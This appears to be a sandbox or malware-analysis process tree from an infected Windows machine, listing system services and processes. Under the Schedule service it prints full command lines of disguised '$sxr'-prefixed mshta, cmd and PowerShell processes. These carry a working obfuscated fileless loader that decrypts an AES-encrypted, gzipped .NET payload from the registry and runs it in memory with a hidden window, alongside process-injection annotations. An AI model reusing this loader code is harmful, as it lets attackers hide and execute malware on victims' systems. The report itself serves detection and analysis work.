- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{3a8316c5-62d5-4c3e-89eb-b463674342c8}
  2⤵
  PID:4636
- - C:\Windows\system32\WerFault.exe
    C:\Windows\system32\WerFault.exe -u -p 4636 -s 308
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:5720

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1092

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1148
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2780
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-iPXLtdZOoVPpQctgyOAx4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1420
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-iPXLtdZOoVPpQctgyOAx4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3644
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4052
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function GJCWl($cEyBL){ $unHWr=[System.Security.Cryptography.Aes]::Create(); $unHWr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $unHWr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $unHWr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas='); $unHWr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ=='); $idsQy=$unHWr.('rotpyrceDetaerC'[-1..-15] -join '')(); $bieDo=$idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cEyBL, 0, $cEyBL.Length); $idsQy.Dispose(); $unHWr.Dispose(); $bieDo;}function kQaAi($cEyBL){ $zZRTE=New-Object System.IO.MemoryStream(,$cEyBL); $Hdpyd=New-Object System.IO.MemoryStream; $lIaZn=New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::Decompress); $lIaZn.CopyTo($Hdpyd); $lIaZn.Dispose(); $zZRTE.Dispose(); $Hdpyd.Dispose(); $Hdpyd.ToArray();}function rpOXM($cEyBL,$JnGhx){ $JmlrM=[System.Reflection.Assembly]::Load([byte[]]$cEyBL); $LSfbk=$JmlrM.EntryPoint; $LSfbk.Invoke($null, $JnGhx);}$unHWr1 = New-Object System.Security.Cryptography.AesManaged;$unHWr1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$YjGoD = $unHWr1.('rotpyrceDetaerC'[-1..-15] -join '')();$xVSpn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('64+SJstNnl42MFis9WiPXw==');$xVSpn = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn, 0, $xVSpn.Length);$xVSpn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn);$FgKqS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNuYazHe3dCIsY0jnF1Nle8RXVA5unyb7oJ5hSIbTxU=');$FgKqS = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FgKqS, 0, $FgKqS.Length);$FgKqS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FgKqS);$sGPvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CbEZjgGn6vTNnUEy8ZgbbQ==');$sGPvf = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sGPvf, 0, $sGPvf.Length);$sGPvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sGPvf);$oXWXA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SyN9/5YYP3ajQwN5APMvkN/Xv1jhNdF/xyYcWBoTY5XyoMDdqOiNp1mwcwetpT1xEzkq4cXm70nS/KTtx7Up0IwR/sNOMtVe68T8VHRJud4RAdci+oDgaoKV3n8Joumy6NLr08Y1aHYaYx4YjpmLpikwsvzaz+gG+9AkawBaLqdBXyhLOEbuLpluuj8dPDwESXr+Zym/XsVgluAogyofnNS7PL/5nRCfqUEgsYclKjIeFsc/kwHkGyQZq/t9XZLF7mjgfeXU144OngUZxtdLuygw2z9NMmgVPKNp0uIvdlewZeZXV0n3HlkyQMXIA0DL7UQIhIIqok3iFR5cs/GJbfrbJsa+WvhJkp8Wh6FW71XA1XKKRAaPgY6iiA+Mu2Mc0v3kB1lDXMsunLV5aGwXpmJl4nBPao4c7cf+dJtp/cE=');$oXWXA = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oXWXA, 0, $oXWXA.Length);$oXWXA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oXWXA);$clakB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q8hqIpA7Ts9H9zAzzQNp4Q==');$clakB = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($clakB, 0, $clakB.Length);$clakB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($clakB);$XkTdu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g/3rWh+/0YUwA/716Rzsbw==');$XkTdu = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XkTdu, 0, $XkTdu.Length);$XkTdu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XkTdu);$BKojp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YsdRdjTdWBUxWLjOy8/Plg==');$BKojp = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BKojp, 0, $BKojp.Length);$BKojp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BKojp);$gqOpI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jxa4xLh18DJxJmw24Psq6Q==');$gqOpI = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gqOpI, 0, $gqOpI.Length);$gqOpI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gqOpI);$WThIt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cmYtuLFqrcr99fGgwO43iQ==');$WThIt = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WThIt, 0, $WThIt.Length);$WThIt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WThIt);$xVSpn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pJXgn+vDQSGToA7730j7Fw==');$xVSpn0 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn0, 0, $xVSpn0.Length);$xVSpn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn0);$xVSpn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lYwtu2Tib2hvTCO1fALnaQ==');$xVSpn1 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn1, 0, $xVSpn1.Length);$xVSpn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn1);$xVSpn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QJq5J0Hl3Xh6d0lBiKSL0g==');$xVSpn2 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn2, 0, $xVSpn2.Length);$xVSpn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn2);$xVSpn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IEiC2GlmI4WLeVWn4tAe+w==');$xVSpn3 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn3, 0, $xVSpn3.Length);$xVSpn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn3);$YjGoD.Dispose();$unHWr1.Dispose();if (@(get-process -ea silentlycontinue $xVSpn3).count -gt 1) {exit};$wglzk = [Microsoft.Win32.Registry]::$gqOpI.$BKojp($xVSpn).$XkTdu($FgKqS);$HuMhh=[string[]]$wglzk.Split('\');$xczlD=kQaAi(GJCWl([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[1])));rpOXM $xczlD (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NQEzN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[0]);$unHWr = New-Object System.Security.Cryptography.AesManaged;$unHWr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$idsQy = $unHWr.('rotpyrceDetaerC'[-1..-15] -join '')();$NQEzN = $idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NQEzN, 0, $NQEzN.Length);$idsQy.Dispose();$unHWr.Dispose();$zZRTE = New-Object System.IO.MemoryStream(, $NQEzN);$Hdpyd = New-Object System.IO.MemoryStream;$lIaZn = New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::$xVSpn1);$lIaZn.$WThIt($Hdpyd);$lIaZn.Dispose();$zZRTE.Dispose();$Hdpyd.Dispose();$NQEzN = $Hdpyd.ToArray();$GmsvD = $oXWXA | IEX;$JmlrM = $GmsvD::$xVSpn2($NQEzN);$LSfbk = $JmlrM.EntryPoint;$LSfbk.$xVSpn0($null, (, [string[]] ($sGPvf)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Hide Artifacts: Hidden Window
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:68
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{349eb8d3-a90a-4786-8efd-2a7135c566a3}
        5⤵
        
        PID:3012
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3012 -s 144
        6⤵
        Program crash
        
        PID:716
    - - C:\Windows\$sxr-powershell.exe
        
        "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(68).WaitForExit();[System.Threading.Thread]::Sleep(5000); function GJCWl($cEyBL){ $unHWr=[System.Security.Cryptography.Aes]::Create(); $unHWr.Mode=[System.Security.Cryptography.CipherMode]::CBC; $unHWr.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $unHWr.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas='); $unHWr.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ=='); $idsQy=$unHWr.('rotpyrceDetaerC'[-1..-15] -join '')(); $bieDo=$idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($cEyBL, 0, $cEyBL.Length); $idsQy.Dispose(); $unHWr.Dispose(); $bieDo;}function kQaAi($cEyBL){ $zZRTE=New-Object System.IO.MemoryStream(,$cEyBL); $Hdpyd=New-Object System.IO.MemoryStream; $lIaZn=New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::Decompress); $lIaZn.CopyTo($Hdpyd); $lIaZn.Dispose(); $zZRTE.Dispose(); $Hdpyd.Dispose(); $Hdpyd.ToArray();}function rpOXM($cEyBL,$JnGhx){ $JmlrM=[System.Reflection.Assembly]::Load([byte[]]$cEyBL); $LSfbk=$JmlrM.EntryPoint; $LSfbk.Invoke($null, $JnGhx);}$unHWr1 = New-Object System.Security.Cryptography.AesManaged;$unHWr1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$YjGoD = $unHWr1.('rotpyrceDetaerC'[-1..-15] -join '')();$xVSpn = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('64+SJstNnl42MFis9WiPXw==');$xVSpn = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn, 0, $xVSpn.Length);$xVSpn = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn);$FgKqS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RNuYazHe3dCIsY0jnF1Nle8RXVA5unyb7oJ5hSIbTxU=');$FgKqS = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($FgKqS, 0, $FgKqS.Length);$FgKqS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($FgKqS);$sGPvf = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CbEZjgGn6vTNnUEy8ZgbbQ==');$sGPvf = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($sGPvf, 0, $sGPvf.Length);$sGPvf = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($sGPvf);$oXWXA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SyN9/5YYP3ajQwN5APMvkN/Xv1jhNdF/xyYcWBoTY5XyoMDdqOiNp1mwcwetpT1xEzkq4cXm70nS/KTtx7Up0IwR/sNOMtVe68T8VHRJud4RAdci+oDgaoKV3n8Joumy6NLr08Y1aHYaYx4YjpmLpikwsvzaz+gG+9AkawBaLqdBXyhLOEbuLpluuj8dPDwESXr+Zym/XsVgluAogyofnNS7PL/5nRCfqUEgsYclKjIeFsc/kwHkGyQZq/t9XZLF7mjgfeXU144OngUZxtdLuygw2z9NMmgVPKNp0uIvdlewZeZXV0n3HlkyQMXIA0DL7UQIhIIqok3iFR5cs/GJbfrbJsa+WvhJkp8Wh6FW71XA1XKKRAaPgY6iiA+Mu2Mc0v3kB1lDXMsunLV5aGwXpmJl4nBPao4c7cf+dJtp/cE=');$oXWXA = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($oXWXA, 0, $oXWXA.Length);$oXWXA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($oXWXA);$clakB = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Q8hqIpA7Ts9H9zAzzQNp4Q==');$clakB = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($clakB, 0, $clakB.Length);$clakB = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($clakB);$XkTdu = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g/3rWh+/0YUwA/716Rzsbw==');$XkTdu = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XkTdu, 0, $XkTdu.Length);$XkTdu = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XkTdu);$BKojp = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('YsdRdjTdWBUxWLjOy8/Plg==');$BKojp = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($BKojp, 0, $BKojp.Length);$BKojp = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($BKojp);$gqOpI = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jxa4xLh18DJxJmw24Psq6Q==');$gqOpI = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($gqOpI, 0, $gqOpI.Length);$gqOpI = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($gqOpI);$WThIt = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cmYtuLFqrcr99fGgwO43iQ==');$WThIt = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($WThIt, 0, $WThIt.Length);$WThIt = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($WThIt);$xVSpn0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pJXgn+vDQSGToA7730j7Fw==');$xVSpn0 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn0, 0, $xVSpn0.Length);$xVSpn0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn0);$xVSpn1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lYwtu2Tib2hvTCO1fALnaQ==');$xVSpn1 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn1, 0, $xVSpn1.Length);$xVSpn1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn1);$xVSpn2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QJq5J0Hl3Xh6d0lBiKSL0g==');$xVSpn2 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn2, 0, $xVSpn2.Length);$xVSpn2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn2);$xVSpn3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IEiC2GlmI4WLeVWn4tAe+w==');$xVSpn3 = $YjGoD.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($xVSpn3, 0, $xVSpn3.Length);$xVSpn3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($xVSpn3);$YjGoD.Dispose();$unHWr1.Dispose();if (@(get-process -ea silentlycontinue $xVSpn3).count -gt 1) {exit};$wglzk = [Microsoft.Win32.Registry]::$gqOpI.$BKojp($xVSpn).$XkTdu($FgKqS);$HuMhh=[string[]]$wglzk.Split('\');$xczlD=kQaAi(GJCWl([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[1])));rpOXM $xczlD (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$NQEzN = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($HuMhh[0]);$unHWr = New-Object System.Security.Cryptography.AesManaged;$unHWr.Mode = [System.Security.Cryptography.CipherMode]::CBC;$unHWr.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$unHWr.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oTkI21qMQMApGK+j7sQMNVTE98rhx+LSuahrU7KOZas=');$unHWr.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('gtsUbDDfu2j3U3fUnPKEuQ==');$idsQy = $unHWr.('rotpyrceDetaerC'[-1..-15] -join '')();$NQEzN = $idsQy.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($NQEzN, 0, $NQEzN.Length);$idsQy.Dispose();$unHWr.Dispose();$zZRTE = New-Object System.IO.MemoryStream(, $NQEzN);$Hdpyd = New-Object System.IO.MemoryStream;$lIaZn = New-Object System.IO.Compression.GZipStream($zZRTE, [IO.Compression.CompressionMode]::$xVSpn1);$lIaZn.$WThIt($Hdpyd);$lIaZn.Dispose();$zZRTE.Dispose();$Hdpyd.Dispose();$NQEzN = $Hdpyd.ToArray();$GmsvD = $oXWXA | IEX;$JmlrM = $GmsvD::$xVSpn2($NQEzN);$LSfbk = $JmlrM.EntryPoint;$LSfbk.$xVSpn0($null, (, [string[]] ($sGPvf)))
        5⤵
        Executes dropped EXE
        Hide Artifacts: Hidden Window
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3008
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{a928a2e5-a404-4571-86d3-4025d9e5aaa7}
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3624
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{ba18b1fd-e47f-44b1-b1e8-0f5c109d6421}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5676
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{758925a5-46fb-45b0-bbe9-a1b934c27d9d}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5416
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{d15ec7ec-fbd8-478d-ba40-b32c4eefd190}
        5⤵
        
        PID:5740
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 456
        6⤵
        Program crash
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:5440
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{ec627e34-211d-4cd1-9e96-d90c1a68b22f}
        5⤵
        
        PID:5512
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{f627e49b-2d8d-48f6-b4ad-7778f043498c}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5628
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{573a80fa-18ba-4e8d-bc47-ca947ccd0abf}
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5596
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5596 -s 460
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:6052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1252

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1452
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1508

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1760

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1784

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1060

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:316

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
PID:1712

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2276

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2492

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2744

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2800

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2828

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2924

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3336

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3440
